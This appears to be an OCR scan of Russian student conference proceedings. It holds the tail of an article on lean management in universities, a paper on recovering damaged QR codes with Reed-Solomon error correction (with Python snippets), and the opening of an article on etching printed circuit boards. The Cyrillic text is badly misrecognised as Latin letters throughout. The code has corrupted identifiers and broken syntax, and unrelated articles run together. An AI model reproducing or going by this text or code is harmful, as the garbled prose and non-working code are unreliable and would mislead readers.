OpraHM3aluy K Nepexory Ha OepexIIMBOe yrpaBieHHe, OOyYE€HHIO 1 BOBJICYEHHUIO KOJUIEKTUBA B
IPOLIECC HETIPEPHIBHBIX U3MEHEHUH, Pa3BUTHIO HAYYHOU JIESTEILHOCTH B MIPEAMETHON 00J1acT,
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MOTHMBAIMM KaJIpOBOI'O COCTaBa Ha OEpeK/IMBBbIE pe3yibTaThbl, (POPMUPOBAHHIO OEPEHIIMBOIL
KYJIBTYpBI YIIPaBJICHUS U3MEHEHUSIMU U OLICHKH €€ YPOBHSL.

C yderoM mnpenMmyniecTBa IMPOCKTHOIO MEHEKMEHTA pPealn3alys HOBOM KOHLENLIUU
BHeqpeHus: 6epexsmBbix TexHonoruii B 'OY BIIO «I'MUS» mnanupyercsi OCyIIeCTBISTHCS B
(bopMmare ccTEMHOro npoekTa «bepexIMBbIi YHUBEPCUTET». 3a IpUMep Oblila PUHATA IPAKTUKA
BHEJIPEHUS IAHHOTO MTPOoeKTa B PesiepalbHOM I'OCYAapCTBEHHOM aBTOHOMHOM 00pa30BaTeIbHOM
YUPEXIEHUHM BbICHIEro oOpa3oBaHus «belropofckuii TocyJapcTBEHHBIH  HallMOHAIbHBIN
HCCIIEZIOBATEIILCKAN YHUBEPCUTET)

Kaxxnomy By3y HeoOXoaumo (GOpMHUPOBaTh ONPEAEICHHYIO TPAEKTOPHIO COOCTBEHHOIO
Pa3BUTHSA C BHEAPEHHEM OEpEeKIMBBIX TEXHOJIOTMH C Yy4eTOM HM3MEHEHUH BHEIIHEH cpempl:
reonoJINTHYECKast 0OCTAaHOBKA B PETMOHE, 3KOHOMHUYECKast cpefia U Ip. I TaBHOM 1iebi0 BHEPEHUS
npoekTa «bepeXIMBbI YHUBEPCUTET» SBIISETCS MAKCUMAJIbHOE YO0BJIETBOPEHUE NOTPEOHOCTH B
KaueCTBEHHBIX HAayYHO-00pa30BaTEIIbHBIX YCIYr, Kak JJIsl BHEIIHErO, TaK M JUIl BHYTPEHHETO
noTpeOuTens, pa3BuTHe yclIoBUH A 3(QEKTHBHOM camopeaqu3alliM B  HAy4HOM,
00pa3oBaTeNlbHOM ¥ yIpaBICHYECKOW HeaTenbHOCTH. [IpM BHEIpEeHWHM ITaHHOTO TIPOEKTa
HCIIOJIb30BAJICS CUCTEMHBIN 1oaxo. /111 3T0ro ObUTH ONpeeneHbl 5 KII0UeBbIX OJI0KOB (puc. 2).
JUta oOecniedeHust ympaBieHHS IPOEKTOM c(hOpPMHpOBaHA HOpPMATHMBHAs IIpaBoBas 0Oasa,
PETVIAMEHTUPYIOIAs. MEXaHU3Mbl PEANM3aLUU IPEUIOKEHUN 10 YIY4IIEHUSAM M CUCTEMY
CTUMYJIUPOBAHMS YJacTUsl B OEPEKIMBON NEATELHOCTH, OMPEETIeH COCTaB KOMAH bl TPOEKTa,
yTBEpK/IeHA IPOEKTHAs IOKYMEHTalMs (IACHOPT U IJ1aH YIIPABIEHHS IPOEKTOM).

MpoeKT «bepeXXnmMBblii yHMBEpCcUTET»
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Pucynok 2 — bioku npoekta «bepeInBbIii yHUBEPCUTET)

N

Konnenuuss ~ OepeXJIMBOrO  yHMBEPCHTETa  3aKJIOYAaeTCsi B HENPEPBIBHOM
COBEPLICHCTBOBAHNU IIPOLIECCA CO3JaHUS LIEHHOCTEN 7S CTYIEHTOB U IIPENOJaBaTeIIEeH IIyTEM
palMOHAIBHOTO PEryJMpOBaHUs BCEX OCHOBHBIX, BCIOMOTATENbHBIX W OOCIYXHBAIOIIUX
IIPOLIECCOB.

Buenpenne mnpoekra «bepexNIMBOrO YHHUBEPCUTETa» IIPEIIOJIAracT BOBJICYCHHE
Ka)KJI0r0 Hay4HO-II€JarOTHYECKOT0 U YIIPABICHUYECKOTO COTPYAHUKA B IIPOLIECCHI YIIYUIICHUS
00pa30BaTeNbHbIX YCIYT U MAKCUMaJIbHO OPUEHTUPOBAHO Ha CTY/IEHTOB U MPEINoIaBaTeNeH.

K npunnunam «bepexnusoro BY3a» M0oxHO oTHecTH:

® CcTpaTernyecKasl HalpaBJIeHHOCT;

® [I0OCTOSIHHOE YIIYYIICHUE;

® CCTEMHOCTb;

® OpUEHTALMs HA CO3JaHUE LICHHOCTEH [l CTYIEHTOB U IIPETIOIaBATEIIEH;

® YBKEHHUE K JINYHOCTH;

® COKpAIlEHUE BCE BUJIOB IIOTEPD;

® BU3yaJIM3allUs U 3aKPEIUICHUE HAWIYYIIUX [TPAKTHUK;
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® BOBJIEYEHHE KaIPOBOI'0 COCTABA.

[ITaru BHenpenus npoekta «bepexiuBoiii BY 3»:

lar 1: onpexenuTs mpoOIeMHbIE 30HBI B pab0OTe yueOHOTO 3aBEICHUS;

[Hlar 2: co3aaTh TOPOKHYIO KapTy 110 UTOraM aHaJIU30B.

K oxwunaemplM uroraM mnocie BHeApeHHUs «bepexiMBOro yHHBEPCUTETA» MOKHO
OTHECTH CJIEJYIOLIHE:

® HTEpEC K HY)KJIaM CTYJEHTOB U IIpenojaBaTesei;

® COCPEJIOTOYEHHOCTh Ha YCTPAaHEHHWU BCEX BHJOB IOTEPb B XOJE OpraHU3alUU
Ipe0CTaBICHHUS 00pa30BaTENbHBIX YCIYT;

® [IOBBIIIEHUE KauecTBa 00pa30BaHuUs MPU MOCTOSTHHOM COKPAILLEHUH 3aTparT;

® [ICII0JIb30BaHNE OOy4YaIOUIMMUCA M IpenojaBaTensiMu npuHUunoB «Lean» Bo Bcex
chepax KU3HU.

IIpu ucnosHeHNH NPOEKTa OAHOU U3 OCHOBHBIX TPYJHOCTEW U BECOMBIM OIPAHUYEHUEM
CTaJIO COIPOTHUBIIEHUE IE€pPCOHANA BHEAPAEMBIM H3MEHEHMSIM. YUUTBIBAs KOHCEPBATHU3M,
XapakTepHbli ayg  npenagosarened BY3oB, u o0ocTpeHHOE UYBCTBO COOCTBEHHOI'O
JIOCTOUHCTBA, 0OOCHOBAHHOE BBICOKMM HMHTEJJIEKTOM, pELIEHUE MPOoOJieMbl C BOBICUCHHEM
poheccopcKo-IPEenoaBaTeIbCKOro cocTaBa B IPOLIECC HENPEPHIBHOTO  YIIYYIIEHUS
IPOMCXOUIIO MPH MOMOIIM Pa3IMYHbIX METOAOB (BOBJICUEHHUE Yepe3 yUyacTUe, JEMOHCTpAILHs
JYYIIUX Pe3yIbTaTOB KOJUIET, KYJIbTUBUPOBAHUE JIUJEPCTBA, PA3INUHbIE TTOOIIPEHUS).

3akiouenue: Ilpu BHenpeHuu OEpeXIMBOIO yIpaBieHUs Yy4yeOHOH oOpraHuzanuu
HeoOXoauMa MOJEJIb CHUCTEMHOrO IPOEKTa, KOTOpas pPACHIMPUT BO3MOXKHOCTH M JIacT
CyllecTBeHHbIH 3¢ (eKT, BbIpa)KEHHbIH B 0€30CTAHOBOYHOM YJIYYIIEHHUM BHYTPEHHHX
IIPOLIECCOB OpraHU3alliy, U30aBJIEHNE OT BCEX BUJIOB IOTEPh, YBEIMUEHUU PE3YyIbTATUBHOCTH
Tpyda TIpH  OCYLIECTBJICHHU  OINEPAllMOHHOW  JESITEIBbHOCTH  IENarori4eckoro M
aJMMHHMCTPATUBHOTO IEpPCOHANA, ONTHMHU3AllMM M TPABUIBHOM HCIHOJIb30BAaHUU JIMYHBIX
pecypcoB, pacUIMPEeHUH HaydHOH 0a3bl, pa3BUTHUHN 00Iell OepexINBOM KyJIbTYpHI.
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INTRODUCTION OF THE CONCEPT OF LEAN TECHNOLOGIES IN HIGHER EDUCATION
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Abstract: The article provides an analysis of the process and summarizes the experience of implementing lean
manufacturing principles in a number of Russian universities. A management model for the introduction of lean
technologies is given.

Keywords: lean manufacturing, lean university, management model.
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YK 004.056

BOCCTAHOBJIEHHUE HOBPE}KI[EHHOFO QR- KOJA ITPA ITOMOIIIA KOJ10B
PUIA-COJIOMOHA
Conomrkun A.A.

Hayunwtit pykosooumens: baouueea M.B., cmapuwiuii npenooasamens
Ioy BIIO «/]JOHHY»

Annomayusa: pabota MOCBSIIEHa TOMEX0ycToiunBoCcTH Ko10B Prma-ConomoHa Ha mpumepe (f-KOJ0B, B X0JIE
paboThl OBUIM M3y4YEeHBI NPUHLMUIIBI U HAIKCaHa MPOrpaMMa JUIs BOCCTAaHOBJICHHS MOBPEXAEHHON HHDOpManuu
Ha (f-KoJie, IIPOBEJCHO MCCIIE0BaHNE HACKOJIBKO CHIIBHO MOXET OBITh MOBPEXIEH (r-KOJ 4TOOBI €ro MOYKHO
OBbUIO BOCCTAaHOBUTE.

Kniouesvie cnosa: qr-xoa, xonel Puna-ConoMoHa, BOCCTAaHOBJIEHUE

Beenenne. OpHoil u3 HauOosiee akTyalbHBIX @poOiieM B HH(OPMaLMOHHON
0€30MacHOCTH SIBJISIETCA 3alllMTa JaHHBIX OT MOBPEXACHUS U paspyuieHus. CpeacTBoM s
3amMThl WHGOpPMAMK OT YaCTUYHOTO TOBPEXKICHUS M BO3MOXHOCTH BOCCTaHOBJICHUS
aBJsAr0TCs Kol Puna — Conomona. C HX NOMOLIBIO MOKHO IIPOYUTATH IIOBPEXKICHHBIE JaHHBIE
160 niepenaTh HHPOPMAIIUIO B YCIOBUSX CBSI3H C OOJIBIIIMM KOJIHYECTBOM momeX [ 1].

IlocTanoBka 3anauu U pa3padorka ckpunrta. HeobOxoaumo HM3y4yuTh aaroputM
reHepauuy (r-Koja, Ha €ro OCHOBE CO31aTh AJTOPUTM BOCCTAHOBJICHUS ITOBPEXKIEHHBIX
Y4aCTKOB Ha (I-KOJi¢ M HalKCaTh CKPUIT €ro peaju3aiuu Ha si3pike Python, BoccraHOBUTH
MOBPEXKAEHHBIE JaHHBIE B (I-KOJie B 3aBUCHUMOCTH OT 0ObeMa MoBpexicHui. B manHo#
peanm3ali BOCCTaHABIMBaeTCs (r-koa pasmepoM 25x25 OnokoB. Ilporpamme Ha Bxon
noga€rcst m3oOpakeHue (r-xkoma pasmepom 250x250 mnukceneil. BBIXOTHBIMH JaHHBIMHU
SBJIAETCS. BOCCTAHOBJICHHBIN (I-KOJ.

s yBenwueHuss CKOpOCTH O0OpabOTKM MpH 3amycke IpOrpaMMbl CUUTHIBAETCS
n300pakeHue U peodpa3yercs B ABYMEPHBIM MacCHUB, KOTOPBIA BIOCIEICTBUY YMEHBIIACTCS.
Janee uaét nmposepka 0aliTOB OTBEYAIOIIMX 32 BEPCHUIO (I-KO/Aa U HAJIOXKEHHE HY)KHON MacKH.

CnepyromuMm  3TanoM  BBINOJHEHHMS ~ IPOrpaMMBbl  SBJSIETCSI  CUMTHIBAHUE
3aKOJIMPOBAHHOMN HMH(}OpMaLIH, TOUCK TEPMUHATOpa U Jo0aBieHrne OUTOB 3anojaHeHus. [lanee
MO/ITOTOBJIEHHbIE JJAaHHBIE BOCCTAaHABJIMBAIOTCS MNpu mnomomu kojnoB Punma-Conomona u
N00aBIAIOTCS Ha (r-KOJ BMeECTE€ CO CIy)XeOHOH HH(pOpManueill: MOMCKOBBIMHU Y30paMH,
BBIPaBHUBAIOIIUM Y30pPOM, IIOJIOCAMU CHHXPOHHU3ALUHA U KOJIOM MACKU U YPOBHS KOPPEKIIUH.
PesynpTaToM paboThl MPOrpaMMBbl SBJISIETCS BOCCTAHOBIICHHBIN (r-KOJ, Mpe/ICTaBIEeHHBINA Ha
pucyske 1.

ITopsinok MOATrOTOBKH JAaHHBIX IJIsi BOCCTAHOBJICHHSI qr-kona. /[y ycnemHoro
BOCCTAHOBJICHHSI (r-Koja mpu mnomomu KoaoB Puma-CoroMoHa HEOOXOAMMO MPaBUIIBHO
MOJrOTOBUTH M CUUTATh JJAHHBIE C HETTOBPEXKAEHHBIX YUAaCTKOB H300pakeHus [2].

et

Pucynok 1 — Pe3ynbTar paboThl CKpHITa
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Buauyane  noBpexa€HHbBII  (r-Kog ~ Npu  moMmMolu  OMONIHMOTeKH  numpy
peoOpa30BHIBACTCS B CIIUCOK JAHHBIX, B KOTOPOM COXPAHSETCS MOJIOKEHUE U IIBET KaXKJ0T0
nukcens nzoopaxkenus. Jlamee s ynodbcTBa 00padoTku nHGOpMAIMK U 71 0osiee OBICTPO
paboThI MpOrpaMMbl ATOT numpy cnucok 250x250 mpeoOpa3oBBIBaETCS B CIIHCOK pa3MepoM
25x25, B KOTOpOM XpaHuTcs uHbopmarus o 6:1okam nukceneir 10x10.

Jlanee CUMTHIBAIOTCS OWUTHI OTBEYAIOIIME 3a BEPCUIO (r-KOJA, HUX PAaCIOJIOKEHHE
W3BECTHO, W CIIEAyeT TMPOBEpHUTh Kaxkapldi u3 30 OWUTOB, B clly4ae IOBPEKICHHS,
NPEJICTaBICHHOTO Ha pucyHKe | m3BecTHO Bcero 12 6urtoB. PacmosnoxeHne cOXpaHUBIINXCS
OMTOB KOJ]a MAaCKU U YPOBHS KOPPEKLIMHU MIOKa3aHO HA PUCYHKE 2.

PI/ICYHOK 2 — PacnionosxeHue OUTOB KOJa MAaCKHU U YpOBH KOPPCKIUN

Ha ocHoBanuu 3THX OHMTOB (opMupyeTcs peryiaspHOe BbIpa)K€HHE JJIs IOUCKa
MOAXONSAIIEN MacKku. PeryispHoe BbIpaK€HHE JUIsi JAaHHOrO (r-Koja CIeayrolee —
C e 11011010”. /Tanee mpu mOMOIIM 3TOTO PETYJIAPHOTO BBIPAXKEHMS UIIETCS COOTBETCTBHE
B MacCHBE CO BCeMHU Mackamu. Bcero ectb 32 pa3nuuHbBIX Macok, M0 8 Ha KaKIbli ypOBEHb
Koppekiuu. Vicxoss U3 3Toro MO>KHO HalTH, UTO YPOBEHb KOPPEKLUHU JaHHOTO (r-koja - Q6,
MOJIHOCTRIO MacKa BeITIAAuT Tak: “010111011011010”.

Bceero cymectByer 8 Macok, 1 (r-koAa ¢ JaHHBIM YPOBHEM KOPPEKLMH, MOAXOAUT
Macka o Homepom 6 (Homepa ot 0 10 7) — “((i*]) % 2 + (i*]) % 3) % 2”, rae | — HoMep CTPOKU
OuTa, | — HoMep cTondia ouTa.

Jlanpiie Hy)KHO nepedpaTh Kaxablii OMT B CIHCKE, NMPU MOMOIIM JBYX LIMKIOB, U
HAJIOXKUTh MACKy, €CIM BBIpaXXEHHE Al OMTa PaBHO HYINIO, TO OH MHBEPTUPYETCs, WHAue
octaércs npexHuM. Ha pucynke 3 n3o0paxeH qr-xKoj mociie HaJl0KeHHUs MacKH.

Pucynok 3 — Qr-xox mocie HaJOXEHUST MACKH

Tak kax uHpopmanus B (r-Koj 3alMChIBaeTCd HE CTaHIAPTHBIM 00pa3oM cleBa-
HalpaBo — CBEPXY-BHU3, & CHU3Y-BBEPX — CIpaBa-HaJEBO, KAK N300paKEHO HA PUCYHKE 4, TO
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st ymoOctBa pabOTHl CTOMT “TIOBEPHYTH” HaHHBIC B CIIMCKE TaK 4YTOOBI MOXKHO OBLIO
nepedupaTh UX 0OBIYHBIM 00pa3oOM.

[=],..

F .
- a2

L g™
2
EI Ze_ag

Pucynok 4 — [lopsaok 3anonHeHus JaHHBIX Ha Qr-Koje

Jns “pazBopoTa” cmnucka, Hy’)KHO CHadaja MOBEpHYTh €ro Ha 90 rpaaycoB U 3areM
MIPOMTH 1O TIOJIOBUHE CITUCKA M TOMEHATh MECTAMHU TEKYIIIMH 3JIEMEHT C HOMEPOM | ¥ SJIEMEHT
[10]] HOMEPOM JJTHHA CITUCKA MUHYC |.

CuutbiBanne wuHpopmanuu. CreaylmHM 3TaloM CIEAYyeT CUHUTATh JJIaHHbBIE,
UTHOPHpYS BCE MecTa Ie HaxoauTcs ciykeOHas uHpopMmanusa. Mudopmanus B Qr-xon
3aMuChIBaeTCs “3MENMKON” W 3a OAMH MPOXOJ 3alUChIBA€TCA Cpa3y 2 OuTa, 3TO BHIHO HA

PUCYHKC 4, IIOMHMO 3TOTIO, I/IH(I)OpMaI_[I/IH ACJIIUTCA Ha 010KH IO 8 6I/IT, KaK I[I0OKa3aHO Ha pPUCYHKE
5.

pi1|ps [D4
D12
D10
va (D3

D27 N B b2
ES D24

L
L [Lpis

D26 Do D8 (DI

D25 DI4
-

Pucynok 5 — Pa3nenenue nadopmannu Ha 6J10ku B qr-Koje

Hns  mpaBwipHOro cbopa wuHpopManuu co3maéM  (yHKIOHIO, KOTopas Oyner
IpyNIUpoOBaTh OUTHI B TPYIIBI U3 § OUT M 3alMCHIBATH UX B CIIUCOK. DTy (QyHKIMIO Oynem
BBI3BIBATH W3 IIUKJIA KAXK/IBIH pa3, KOT1a BEIOPaHHBIN OUT OyIeT HaXOAUTCS B OJHOM U3 OJIOKOB
JAHHBIX U3 PUCYHKA 6. AITOPUTM CUUTHIBAHHS JAHHBIX MPEACTABIECH Ha PUCYHKE 6.

B crniiicke CUMTaHHBIX JaHHBIX CPEIN UCTIOPUYEHHBIX OMTOB HY)KHO HAWTH TEPMHUHATOP,
KOTOPBIH MPECTaBIsAET U3 ceOsl HOJM MOCPeaH OUTHIX JaHHBIX. BIOK TaHHBIX C TEPMUHATOPOM
HY)XHO JIOTIOJTHUTh HOJIIMH 10 KOHIA, a ciexyromue 4 Ojoka 3aMEeHHTh Ha 3 pasa
yepenyromuecs ‘11101100° u ‘00010001° xak moxa3aHo Ha pUCyHKe 7.

Jlanee moaroTaBIMBacM MacCUB TSI BOCCTAHOBJICHUS TAaHHBIX, CO3/1aéM JIBa MacCHBa,
B 0/IHOM OyJ1eM XpaHHUTb CTEPTHIE JaHHbIE, BO BTOPOM OJIOKU OyZieM NEPEBOAUTD B IECATUYHYIO
CHCTEMY, a BMECTO CTEPTHIX JTAHHBIX OyJeM 3aluchiBaTh HYJH. [lociie 3TOro mpu moMomm
o6ubnuorexku reedsolo m ¢yHkuMu rs_correct msg mepenaém 006a MaccuBa M Ha BBIXOJIE
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MOJIy4aeM BOCCTAHOBJICHHBIC JaHHBIE KOTOPBIE OCTAJIOCh MEPEBECTU B JBOMYHBIN dopMaT U
00BEIMHUTD B OJJUH MAaCCUB KakK MMOKa3aHO HAa PUCYHKE 8.

def perevod_iz_blokov_v_dannie @_1(i,3):

if len(promejutochnii_dannii) == 8:
resshifrovanie_bitie_dannie.append(''.join(promejutochnii_dannii})
promejutochnii_dannii = [

if new_arr_gr flip[i][j] == '®".1just(2):
promejutochnii_dannii.append(*1°)

elif new_ arr_qr_f1ip[i][§] == 'O°.1just(2):
promejutochnii_dannii.append('@)

else:
promejutochnii_dannii.append('?")

x = True
for i in range(e,len(new_arr_qr flip)-2,2):
if i 17
ie=1
for j in range(len(new_arr_qgr_flip)):
if x

if 1 == 8 and j > 3 and j < 9:
perevod_iz_blokov_v_dannie @_1(i:1,3)
continue

if (1 == 18) or (3 == 18) or (§ > 15 and 1 < 8) or (1 > 15 and j < 8) or (§ > 15 and 1 > 15) or (1 > 3 and 1 < 9 and j > 3 and J < 9):
continue

perevod_iz_blokov_v_dannie 8_1(i,3)

perevod_iz_blokov_v_dannie @ 1(i+1,3)
else:
if (3 »15and j <21 and 1 > 3 and 1 < 9) or (J < 9 and i < 8) or (3 <9 andi > 15 ) or (§ > 16 and i > 15) or (j == 6) or (i == 18):
continue

perevod_iz_blokov_v_dannie_8_1(i,len(new_arr_qr_flip)-1-3)
perevod_iz_blokov_v_dannie 8 1(i+1,len(new_arr_gr_f1lip)-1-j)

% = not(x)

Pucynok 6 — AIroput™ cuuThIBaHUS HHPOPMAIMH ¢ Jr-Koaa

1eel1181e 1e6ellele
laegltas loaoloos
2IIIVIIVD PIPIP2R?

-------------- import reedsolo

DIV IVIVIPY b = bytearray()

22222222 2222222 crasures =[]
for i, bits in enumerate(rasshifrovanie_bitie_dannie):

................ if *?' in bits:

22222222 22229272 erasures. append(i)

222D 22232232 b.append(@)

"""" else:

2e0esa?? | ?e0e0ae) b.append(int(bits, 2))

122227227 11161188
mes, ecc, g = reedsolo.rs_correct_msg(b, len{erasures), erase_pos=erasures)

22222222 881806818 polnie_danniil = []

22272727 111811@6f Polrie dannii2 =[]

- for i in range{len(mes)):

"""" eeeleoal polnie_danniil.append('{:08b}".format{mes[i]))

22222227 11181168 if 1 < len(ecc):

22010001 eea10681 _ polniedanniid.append(’{:08b} ' format(ecclil)) y
polnie_dannii = *"*.join(polnie_danniil) + **.join(polnie_dannii2)

Pucynok 7 — JloGaBneHue 6aiiTOB 3alOIHEHUS U AITOPUTM BOCCTAHOBIICHHUS JAHHBIX

Korna nanneie y’e BOCCTaHOBJIEHBI HY>KHO TIOMECTUTB BCE 3TU OUTHI 0OpaTHO B MACCUB
TaK e, KaK U CUUThIBaJIM UX. [lociie 3Toro noBepHyTh MacCUB B €0 N3HAYAJIBHOE ITOJI0KEHHE.
[Tocne Toro kak MaccuB MOBEPHYT HA HETO CIIEIYET €II€ pa3 HAJIOXKUTh MAacKy JJIsl BO3paLCHHS
JAHHBIM MX MEPBOHAYAJILHOTO BHJIA M J100aBUTH CIIy)K€OHYIO0 MH(pOpPMAlLMIO Ha CBOM MECTa,
KOTOphIe 3apaHee u3BecTHBL. K cimyxkeOHON mHGpOpManuum OTHOCSTCS: TMOUCKOBBIE Y30DbI,
BBIPaBHUBAIOIINE y30pPBl, IOJIOCHl CHHXPOHU3AIMH U KO MacKH U YPOBHS KOPPEKLUH.

Korna Bes uH(popManius HaXoAUTCA Ha CBOMX MECTaX, MOYKHO MEPEBOJUTH BCE JTaHHBIE
u3 cnucka 25x25 B numpy array pasmepom 250x250 u coxpaHsaTh B KapTuHKY. Ha BeIxozge
MOJIy4aeTCs] BOCCTAHOBJIEHHBIHN ([-KOJ, KOTOPbIII MOXHO IMPOCKaHUPOBATH JIFOOBIM CKaHEPOM
(puc.8).

Pucynok 8 — BoccraHoBieHHBIN (r-Koxq
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IIpenenbHble BO3MOKHOCTH BOCCTAHOBJIeHMsI (r-koma. IlpencraBieHHbI Ha
pucynke 2 qr-xoa umen 72.3% mnoBpexaEHHON HHPOPMAITMHN U OBLI YCIICITHO BOCCTAHOBJICH,
HO 9TO JaJeKko He mpeaen. MOXHO Jake BOCCTaHOBUTH HMH(oOpManuio ¢ (r-koja c
noBpexaeHusIMU 99.7% , HO IIpU YCIOBUU TOTO YTO Ha HEM OCTAHETCS BHUJHA CTPYKTypa
JMAaHHBIX Kak Ha pucyHke 9. Qr-kom c pucynka 10, 3TO TOT XKe (r-Koi KOTOPBIM OBLI
BOCCTAHOBJICH paHee, TOJIBKO BMECTO IIEJIbIX OJIOKOB, B HEM OCTAJIOCHh TI0 OJTHOMY TTUKCEIIO Ha
omok. Pa3pabGortanHas mporpamMma «BHIUT» 00a (r-Koja OJUHAKOBO U IIOITOMY MOXKET
BOCCTAHOBHUTH 00a.

Pucynok 9 — Qr- xox noBpexxaéunslii Ha 99.7%

XO0Tb 3TOT Qr-KoJx OBUT MOYTH MOJTHOCTHIO MOBPEXAEH, HO YaCTh JAHHBIX HAa HEM HE
HECcET 3aKOAMPOBAHHYIO IIoJib30BaTeneM uHpopmanuoo, 42% OTHOCUTCS K ciayxeOHOH
uHpopManuy, a u3 ocraBmuxcs 58% ObUI0 MOTEPsIHO 36% OJIOKOB TAHHBIX, YTO MPEBBIIIACT
nonyctumble 25% TMOBPEXACHUN A BO3MOXXHOCTU YTEHHUS (r-KoJa APYIMMH pecypcamH.
Onnako pazpaboTaHHOM POrPaMMON OH BOCCTAHOBUJICS TOJHOCTBIO.

BoiBoabl. B Xxozxe BbINOJAHEHUS JaHHOW paboThl Obl1  pa3paboTaH  CKPMIIT,
BOCCTAHABJIMBAIOIIUI MOBpekAEHHBIH (r-koj. Ckpunt Obl1 HamucaH Ha s3bike Python.
[TonBoNs MTOTH, MOXKHO CeNaTh BBIBOJ, 4TO, Koabl Puna-ColoMoHa MOTYT BOCCTaHOBHTH
coo0mieHne, KoTopoe nospexaeHo 6omnee yem Ha 50%. [laxe qr-xkoz moBpexaeHHbIH Ha 99%
BCE PAaBHO YAAJOCh BOCCTAHOBUTH. IIOBpexaeHHs, KOTOpblE NMPHUXOJATCS HA CIYKEOHYIO
nHpopManuio r-Kosa He HECYT Bpe/a 3au(ppOBaHHBIM JAHHBIM.

CIIMCOK JIMTEPATYPbBI
1. Anropurm reHepauuu QR-kona [DnexTpoHHsbIit pecypel] - Pexum JlocTyna:
https://habr.com/ru/post/172525/
2. QR-kox  [Dnektponnbiii  pecypc] — Pexumm  gocryma:  https:/ru.wikipedia.org/wiki/QR-

%D0%BA%D0%BE%D0%B4

DAMAGED QR CODES RECOVERY USING REED-SOLOMON CODES

Annotation: the work is devoted to the noise immunity of Reed-Solomon codes on the example of gr-codes, the
principles were studied and a program was written to restore damaged information on a qr-code, the study of how
badly a gr-code can be damaged so that it can be restored was made.

Keywords: gr-code, Reed-Solomon codes, recovery
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N3I'OTOBJIEHUE INIEYATHBIX IIVIAT METOAOM TPABJIEHUS MEJIH.
ONITUMM3ALUA TPOLECCA

Cmenanosa C./I.
Hayunwtit pykoeooumens: Kanoaeea U.B., cmapuwiuii npenooagamens
Ioy BIIO «/IOHHY»

Annomayusi. B cTatbe pacCMOTPEHBI OCHOBHBIE 3Talbl M3TOTOBJICHUS MEYATHBIX IUIAT METOJOM TpaBIECHUS
HE3alMIIEHHBIX YYacTKoB Mead. OIHMcaHBl CIOCOOBl ONTUMH3ALUM Tpolecca TpasieHUs. OmnpeneneHs
JOCTOMHCTBA M HEIOCTATKN KayKAOTO U3 HUX.

Kniouegvie crnosa. IleqaTHple mIaThl, TEPMOIIEPEHOC H300paXKEHUS, TPABICHNUE MEIN, XJIOPHOE JKEJIE30.

AkTyajibHOCTh. B mpomecce paboThl KpykKa TEXHHYECKOTO TBOPYECTBA YacTo
BO3HUKAET HEOOXOUMOCTh TPOSKTUPOBAHUS YCTPOUCTB C PAIMOIICKTPOHHBIM YIIPABICHUEM.
Nx HeoTbemsieMOW YacThiO SIBISIFOTCS IUIAThl, Ha KOTOPBIX DPa3MEILAIOTCS AJIEKTPOHHBIE
KOMITOHEHTBI. DTO MOTYT OBITh YHHUBEPCAIbHBIC MAKETHBIC IIATHI TOJ] IMAWKY IMPOBOIHBIMH
nepeMbrdkaMu (puc. 1 a), MakeTHbIE TUIaThl HA OCHOBE THE3A C marom 2,54 mm s cOopku
ycrpoiicTBa 0e3 naiiku (puc. 1 0) uiu paspaboTaHHBIC U U3TOTOBJICHHBIE MIEYATHBIC TUIATHI (PUC.

4 ‘BI-UZO&zz’ WooxwSE
MNO000000
DQP YOG

Pucynok 1 — Tunsl miar g ynpasinenus POY

[lepBble nBa BUA MIIAT MPOCTHI B M3TOTOBJIEHUH, HO 00J1a/1al0T PSAJIOM HEIOCTAaTKOB:

—  T'POMO3JKOCTb KOHCTPYKIIH;

—  HM3Kas HaJIe)KHOCTb KOHTAaKTHBIX COCIUHEHUN;

—  CIIO’KHOCTB JaJbHEHIIECH DKCIUTyaTallud YCTPOMUCTBA.

Hcxonst n3 3TOro MOKHO c/ieaTh BBIBOJI, YTO MAKETHBIE MJIAThl OOJIbINE MOIXOIAT IS
IIPOTOTUIIMPOBAHHUS, YEM JUISl IPUMEHEHHS] B TOTOBBIX YCTPONCTBAX.

[IeuaTHble MIaTHI, U3TOTOBJIEHHBIE 110J KOHKPETHOE YCTPOMCTBO HECKOJIBKO CIIOXKHEE B
peann3anyy, HO He ITOABEPKEHBI IPUBEICHHBIM HEAOCTATKAM.

O0beKT Mcciae0BaHusI: HECEPUITHOE TPON3BOJCTBO N€YATHBIX IJIAT.

IIpeamer ucciieq0BaHus: ONTUMU3ALNA IPOLIECCA TPABJICHHS MEIH.

Henb wucciieqoBaHusA: YCOBEPILIEHCTBOBATh IIPOLECC HECEPUMHOIO H3TOTOBJICHUS
NEYATHBIX IUIAT, MCIIOJIB3YEMBIM NP KOHCTPYUPOBAHUU YCTPOMCTB C PAIMODIEKTPOHHBIM
YIIPABJICHUEM.

Hcnonb3yembie METOABI:
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—  meopemuueckue: aHAIN3 JIMUTEPATYpHbIX HCTOYHUKOB, H3ydyeHHe (oTo-BuaCO
pecypcoB, CUCTEMHBIN oaX0A, 000011IeHuE;

—  JMRnupuyecKkue: CpPaBHEHUE IIpoliecca IPU pPa3IMYHBIX YCIOBUAX, H3MEpPEHUE
BPEMEHHU MPOBE/ICHUS OIIEPALIUH.

OcHoBHas1 yacTh. 1I3BeCTHBI ClieyIOlI1e OCHOBHbBIE METO/bI CO3aHNUs MIEYaTHBIX I1JIaT:

—  DIIGKTPOXMMHUYECKUN — TOHKHUH CIIOW MeTaia HaHOCUTCS CIIOCOOOM XMMHUYECKOTO
OCaX/ICHNUS;

—  D2JIEKTPOJUTHYECKHI C IEPEeHOCOM — CXeMa IPEJBapUTENIbHO OCaXJIaeTcs Ha
METAJUINYECKYIO MaTpHILy, a 3aTEM IIEPEHOCUTCS Ha U30JIALIUOHHOE OCHOBAHUE;

— (QonprupoBanue — JIUCT MeIHOW (DONBIH TNPHUKIEUBACTCS K H3OISIHOHHOMY
OCHOBAaHHUIO C OJHOH WM JBYX CTOPOH C MOCJIEAYIOIIMM BBITPABICHUEM WM
I'PaBUPOBKOM U3 (hosibru TpeOyeMol CXeMBI;

—  B)KUTAHHUE TOKONPOBOMSAIIECH CXEMBI U3 CEpeOPSHON MaCTHI,

—  BakyyMHoOe pacnbuieHue [1].

Jlis mpUMEHEHHsT B HECEpUIlHOM IPOM3BOJCTBE OOJbIIE BCEr0 IOJAXOAUT METOA
TpaBICHUSI MEAM C TPOOENBHBIX MecT (0e3 3alUTHOrO TOKPBITHS) (HOIBIHPOBAHHOTO
crexsiorekcronuTa. OH He TpeOyeT JOPOrocTosIIero 000pyI0BaHus, MIPOCT B UCIOIb30BAHUI
U [103BOJISIET OJYYUTh II€YaTHBIE MJIAThl BBICOKOTO KaU€CTBA C OTHOCUTEIbHO HU3KUMHU BpPEMS-
